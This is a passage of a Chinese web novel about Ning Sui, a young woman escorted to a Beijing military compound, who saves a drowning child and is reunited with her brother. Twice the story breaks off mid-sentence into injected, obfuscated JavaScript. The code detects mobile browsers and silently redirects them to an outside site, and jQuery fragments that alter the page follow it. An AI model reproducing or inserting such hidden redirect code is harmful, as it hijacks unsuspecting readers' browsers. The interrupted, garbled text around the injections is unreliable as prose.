原来火车上很多食物是不用票的,所以宁穗一口气就买了三碗热腾腾的小馄饨。 早上吃点暖和的食物,能让她更快乐。 “宁穗同志,你居然买了早餐?你应该让我去给你买的。” 黄东升也醒来了,估计是被贺长青叫醒的。 宁穗把馄饨摆放在桌板上,笑了笑:“我刚好碰上了售货员,就买回来了,赶紧趁热吃。” 火车越是往北走,温度明显就冷一些,食物也很快会凉。 “那我先把钱给你。” 黄东升回头掏钱,宁穗却说:“还有几天才到京市呢,明天轮到你去买,不用给了。” 黄东升也没有扭捏,喜滋滋地坐到了下铺,“真香,我好久没吃过小馄饨了,谢谢。” 宁穗客气了几句,然后看向贺长青:“贺长青,你不吃吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14903366|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黄东升刚想说团长不爱吃这种小玩意,更不会吃女同志给买的东西。 上个月有女同志亲手包了饺子送给他,他家团长直接连人带饺子给赶出了他办公室。 但黄东升还没说出口就看到了自家团长走了过来:“吃。” 黄东升震惊住,他家团长怎么回事? * 吃过了早餐,宁穗便向他们询问起关于宁家的状况。 黄东升知无不言:“宁师长是咱们39师的首长,名字叫宁峥嵘,今年56岁……” 宁穗和他们聊天的内容知道了宁家总共有四个孩子,所以她上面还有三个哥哥。 三个哥哥都是人才,字面意义上的人才。 大哥宁望东,32岁,已婚,是外交部的翻译员。 妻子是大院里一同长大的同学,叫杨慧兰,跟宁望东同岁,在中联部工作,两夫妻都是干部。 二哥宁望南,28岁,未婚,在现时还叫核物理研究所的科学院进行科研工作。 听闻他一年最多就回大院两次,其余时间都扎在科研工作中。 三哥宁望北,25岁,未婚,首都军区陆军部队的营长。 也就是这次委托贺长青来接她回京市的那个哥哥。 还有很多杂七杂八的信息,宁师长家还有几个来往比较频密的亲戚,宁穗没有记太多。 她就想给最亲的几个亲属买个见面礼,其他人等相处过后再说。 第五天火车一到京市,宁穗也顾不得欣赏首都的繁华和美丽,直接对他们说:“两位同志,我想去百货商店买点东西,给我的家人准备一点见面礼,可以等我一下吗?” 宁穗信誓旦旦保证:“我一定不会耽误太久的。” 黄东升大气都不敢呼,他是无所谓的,他其实也想去商店给战友们买点东西呢。 但他家贺团长这个不近人情的工作狂,肯定不会浪费这个时间的! 黄东升:“宁穗同志,我陪你去吧,我们团长还有很多工作要处理……” 贺长青看着宁穗:“那就买好了再过去。” 黄东升这一次直接震惊得出了声:“团长,我没听错吧?” 贺长青没有理会他的疑问,吩咐道:“你去看看哪有几点的军车回去部队。” 黄东升觉得有哪里不对劲,但一下子又说不上来。 直到他看到自家团长跟在小姑娘身后,恍然大悟:“团长这是疯了吗?居然跟一个女同志去商店?” 惨了惨了,团长不会是被夺舍了吧? 宁穗不想耽误别人太多时间,她在火车上就已经想好了要买什么东西给几个哥哥和嫂嫂。 所以到达百货商店之后,她直接往某个柜门走过去。 多亏首都商场的货品并不紧缺,所以她迅速地买下了几个礼物。 虽然花出去了一大笔钱和票,但宁穗对即将到来的新生活还是感到很兴奋很高兴。 买好了东西,宁穗和贺长青他们去到了护城河一个站点等车。 跟他们一起等车的还有好些人,有几个婶子甚至跟黄东升聊了起来。 宁穗猜想他们都是首都军区的家属,等会应该是坐同一班车回去大院的。 京市天气冷一些,宁穗已经把棉袄给穿上,但还是被北风吹得脸蛋发疼。 旁边一个用方巾包着半个脑袋的婶子打量了她很久,终于忍不住问话:“同志,你也是首都军区的家属?是随军的军嫂吧?” 宁穗笑了笑:“是家属,但不是军嫂,我还没结婚。” 婶子看着宁穗那漂亮的脸蛋,笑了起来:“刚刚大家都以为你是贺团长带回来的对象呢,原来不是啊。” 宁穗瞥了眼跟候车军人说话的贺长青:“……” 贺团长在部队的名气可真大啊,随便一个家属都知道他? 思索间,护城河岸边突然传来了一声呼救声:“救命啊,有人落水了!” 宁穗一眼就看到了护城河里挣扎的身影,想也没想,便一头扎进了河里。 14.第 14 章 第14章 河水很冷,这是宁穗唯一的感觉。 可是她顾不得那么多,用自己最快的速度往挣扎的身影游过去。 宁穗是极限运动爱好者,滑雪,跳伞,冲浪,射击等等刺激的运动她都尝试过,甚至还挺擅长。 虽然河水很冷,但丝毫不影响她游泳的速度。 护城河也并不算宽,落水者只离她几米远。 所以宁穗的手臂摆动了十来下,很快就去到落水者的身旁。 她把人一捞,这才发现原来是个小孩,咕噜咕噜地呛着水。 但她忽略了落水者求生的本能和意志,即使只是一个几岁的孩童,在抓住救命稻草的那一刻,生出来的力气比平时还要大上几倍。 幸好水中有浮力,加上宁穗有丰富的经验和天生神力。 她花了些技巧,很快就把人给制服,然后迅速地拉着人往河边游回去。 这时岸边已经聚集了黑压压的一片人群,甚至还有人正往河里走,准备拉她一把。 宁穗在大家合力的帮助下,把那溺水的小孩拖上岸,忙说:“快点看看孩子有没有事。” “上来了,上来了。” “快快快,拿大衣。” “大家让让,让有经验的同志先救人……” 现场吵成了一锅粥,还有嚎啕大哭的凄喊声,大家救人的救人,拿衣服的拿衣服。 宁穗被北风一吹,冷得瑟瑟发抖,牙齿打颤。 她也顾不上谁往她身上包了大衣,双手下意识裹紧了衣服,呼呼地喘着冷气。 “江宁穗,你是不是疯了?!”温暖的大衣披在身上,宁穗就听到一道比河水还要冰冷刺骨的吼叫。 贺长青那高高的身影紧紧地裹着她,胸口猛烈地起伏着,看样子是被她气得不轻。 宁穗抬起湿漉漉的脑袋,眼睛也被冰冷的河水濡湿一样,可怜巴巴地看着他铁青的脸,带着哭声呢喃:“贺长青,我好冷。” “你……”贺长青的脸比任何时候都要冷,但此刻交织的怒火和心疼让他混乱得像个困在牢笼的猛兽,只想要寻找一个释放自己愤怒和恐惧的宣泄口。 江宁穗,我该拿你怎么办? 他顾不得旁人的目光,直接俯身把人给抱在了怀里。 只听他对身后同样紧张的黄东升说:“把她的衣服拿过来。” 贺长青平时就够吓人了,更别说此刻黑着一张脸的他有多恐怖,黄东升差点膝盖都软了。 但他也没想太多,看着浑身湿漉漉的宁穗,连忙拿上行李跟了上去。 宁穗蜷缩在贺长青的怀里,似乎想要从他炙热的身体寻找一丝温度。 贺长青心疼地扫了一眼湿漉漉的少女,手臂紧紧收拢着,力度之大让宁穗都有点生痛。 他找了最近的一家房子,请求主人家行个方便给宁穗换衣服。 宁穗哆嗦着身子,快速地换上了自己干爽的衣服,然后紧紧地裹上了军装大衣。 这件军装很大,穿在将近一米七的宁穗身上,还有长长的一截。 从房间出来,炉子已经生好了,黄东升把姜汤端了过来,“宁穗同志,快喝点姜汤,袪袪寒。” 宁穗把湿漉漉的头发解开了,在贺长青那想要吃人的目光下坐到了炉子旁边,乖巧地接过姜汤,“谢谢。” 宁穗身体还没彻底回暖,一口气把姜汤给喝完。 她问一旁的黄东升:“孩子没事吧?” “应该没事,刚刚吐过水之后就马上送了去医院。”黄东升看着脸色还有点苍白的宁穗,语气深长道:“宁穗同志,刚刚的情况真的太危险了,岸边明明这么多战士。” 黄东升叹息一声,继续道:“就算是没有其他战士,不也还有我和贺团长吗?你没有必要跳下去的。尤其是你父亲……” 这几天在火车上,黄东升和宁穗已经建立了基本的革命情谊,也大概知道了她养父的情况。 宁穗她那养父本就是因为落水救人而去世的,要是宁穗也这样…… 黄东升已经不敢再往下想。 反正怎么着都轮不到她一个女同志出手。 宁穗都已经到了首都军区的家门口,要是在这个节骨眼出了事,他们该怎么样跟宁家交待啊! 宁穗可能不知道,在贺长青的十多年从军生涯中,可从没有出过错。 今天要是出了问题,那真就是一辈子的污点。 难怪他家团长的脸黑成那样,宁穗这女同志真不让人省心。 宁穗调皮地对黄东升笑了笑:“你忘了我的家乡叫江河镇吗?我会游泳,放心吧,现在大家都好好的。” “不怕一万,就怕万一。”黄东升摇了摇头,回去跟屋主闲聊。 贺长青依旧一言不发,但目光却始终落在宁穗的身上。 宁穗低垂着脑袋,任由又长又软的湿发盖住自己苍白的脸,目光只敢看着男人落在地上的身影。 她知道贺长青的担忧跟黄东升是一致的,这个时候她不能再惹他生气。 事实上,贺长青好像也不想跟她说话。 估计是被她气到了。 贺长青炙热的目光看着那低垂而落的长发,突然间有股想要轻轻抚上去的冲动。 他轻轻吐出了心胸间压抑已久的浊气,抬脚走了过去。 宁穗看着男人的鞋尖,声音闷闷的:“你们就别再骂我了。” 站在贺长青的角度,她只是他的一个“任务”,就是把她安全送到首都军区。 但她也是个成年人,可以为自己的行为负责。 贺长青哑着声问:“那你要我说什么?” 宁穗缓慢地抬起头打量他,因为屋内光线昏暗,并不能看清逆光中的男人,只能看到他冷峻的面部线条。 她昂起脑袋,甜甜一笑:“当然是夸夸我啊,好歹我也是见义勇为!” 居高临下的贺长青却把宁穗的每一个表情,每一寸面容看得真真切切。 这一刻才发现,少女不仅有一颗可爱的小酒窝,她的眼睛旁边还有一颗小小的美人痣,诱丨惑至极。 他勾起唇角,说:“江宁穗,你真的很好。” 说完,他伸出手指,轻轻抚上少女那一头黑如瀑布的长发。 * 等她烘干了头发之后,三人坐上军区派来的车子往大院驶去。 首都军区的宁望北同志早早地等在了军区大门门口。 他看着一辆又一辆的军用车往部队驶进来,却没有一辆是贺长青他们的。 守卫兵队长看着宁望北来来回回地踱步,忍不住揶揄:“宁营长,你转得我的兵都快要晕了,能不能消停一会儿啊?” 宁望北:“我又没妨碍你。” 大队长无奈一笑,好奇地问:“宁营长,你到底在等谁啊?该不会是在等你对象吧?” “什么鬼对象。”宁望北朝着远处的道路看出去,傲娇地抬起下巴:“我在等我妹妹,我妹妹要来部队了!” 还特地把‘妹妹’二字说得尤其大声。 “哟,宁营长你居然还有妹妹?”这可真是稀奇的事儿啊,众所周知宁望北就是宁师长最小的儿子,可大家也没有听说过宁家还有闺女啊。 宁望北心里头虽然焦急,但有人跟他聊天也缓和了些气氛:“我妹妹从小就走丢了,现在好不容易才找回来。” 怪就怪自己之前受了伤,不然去接宁穗的人就是他,哪里用得着站在军区大门当一块望妹石。 也不知道那个冷血无情的贺长青有没有欺负他妹妹,急急急。 急得他想要长一对翅膀,好把人给带回来。 “哎哟,那真是可喜可贺啊,难怪你这么紧张在这候着呢。”守卫兵队长对宁望北突然多出来的妹妹非常好奇,便问:“你妹妹今年几岁了?从哪过来的?” “二十二岁,H省的江河镇。” “二十二了啊,那应该都结婚生孩子了吧?”守卫兵大队长笑了一声,开起玩笑来也没个轻重:“你看看你,妹妹都结婚了,你还打光棍儿呢。” 宁望北一个不满地瞪过去:“结什么婚?我妹妹还是个姑娘!” 才不要那么早嫁出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14909799|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好不容易才找回来的妹妹,得在家里多待几年。 大队长笑了笑,腹诽一句:二十二的大姑娘还没结婚,这得长得多对不起人民啊! 不过宁家几个儿子都长得不错,总不至于闺女就长得难看吧?! 该不会是假妹妹来骗亲的吧? 正这么想着,一辆军用吉普车由远及近飞驰过来。 宁望北也没有跟他闲聊的心思,身影已经往门口走出去。 这边的宁穗在车上昏昏沉沉睡了一会,睁开眼就发现车子已经驶到一个明显比市中心要朴素的郊区去。 首都军区离市中心有段距离,但附近依然有整齐而立的居民区。 威严肃穆的部队后面还有一片森林,属于闹中取静的一块宝地。 车子开得很快,停在首都军区大院门口哨岗时,才下午三点。 宁穗是第一次到军区,所以要下车接受检查。 不过才刚下车,就遥遥看到了大门口站着一个穿军装的高大男人朝他们冲过来。 男人站在宁穗的面前,目光先是盯着她,然后前后左右来回地打量了她一遍,似乎在确认些什么。 宁穗被他看得心里发毛,要不是他长得还有几分好看,她直接就动手了。 于是她主动地朝贺长青开口:“这个……不会就是……我哥哥?” 话还没说完,宁望北的速度之快,就连宁穗也躲避不开,就被奇怪的男人给抱了起来。 “妹妹,我的好妹妹……” “哥哥在这等你好久啦……” 宁穗被宁望北抱得严严实实,她还以为这个年代的人都跟贺长青一样保守的呢。 没想到她的亲哥哥原来跟她一样,也是个正常人! 宁穗原本压抑的心情瞬间得到了释放,用最热烈的情绪回抱着宁望北,喊道:“哥哥,是我是我。” “呜呜呜,我也想哥哥你很久啦!” 被人愉快且激动地接纳,真是世间最美好的事情。 贺长青看着宁望北那激动的身影,脑海闪过宁穗初次见他的情形,终于知道什么叫不是一家人不进一家门。 宁望北拍了怕贺长青的肩膀:“兄弟,谢谢了。” 贺长青却没有回话,深深地看了眼宁穗之后,就直接驱车往团里驶去。 宁望北被贺长青奇怪的行为吓了一跳,嘀咕道:“什么人啊?不就是要他帮忙接个人吗?这么多年的战友,至于跟我摆谱?” 活该他找不到对象,真是冷血无情的家伙! 宁望北看向宁穗,对她解释:“贺长青就那个性格,他对谁都那样,穗穗你别介意。” 宁穗不敢对宁望北提起来军区前的事,善解人意道:“没事没事,贺同志估计是有事要忙吧。” “算了,咱们别管他,反正以后你别跟他接触就行。”宁望北还真怕贺长青会对宁穗生气,那他也不知道怎么办,打又打不过,骂也不敢骂。 反正人已经接回来了,以后不喜欢大不了不联系。 妹妹可比他重要多了。 宁穗心想这可不行,她还等着以后能跟贺长青处个对象呢! 就算不结婚,谈个恋爱也行! 宁望北哪里知道宁穗的心思,待门卫兵仔细检查之后就拉着宁穗往军区大院走进去。 宁望北和妹妹相见的场景被守卫兵看了个真切。 大家纷纷探出头来,想要看看这个让宁营长等了大半天的妹妹到底是个什么样的姑娘。 宁穗经过大门的时候,大家终于有机会看清宁穗的容貌。 哟哟哟,小姑娘可真是太好看了,不愧是宁家的人,像朵花儿似的。 宁望北也是个豪放嘚瑟的人,他逢人就介绍:“我妹妹,宁穗。” “对对对,就是我妹妹,跟我长得像吧?” “哈哈哈,当然长得俊,是我亲妹妹嘛。” “什么狗屁对象,这是我妹妹!妹妹懂不懂,亲生的那种!” “……” 才一个小时不到,宁家找回来一个漂亮妹妹就在大院传开了。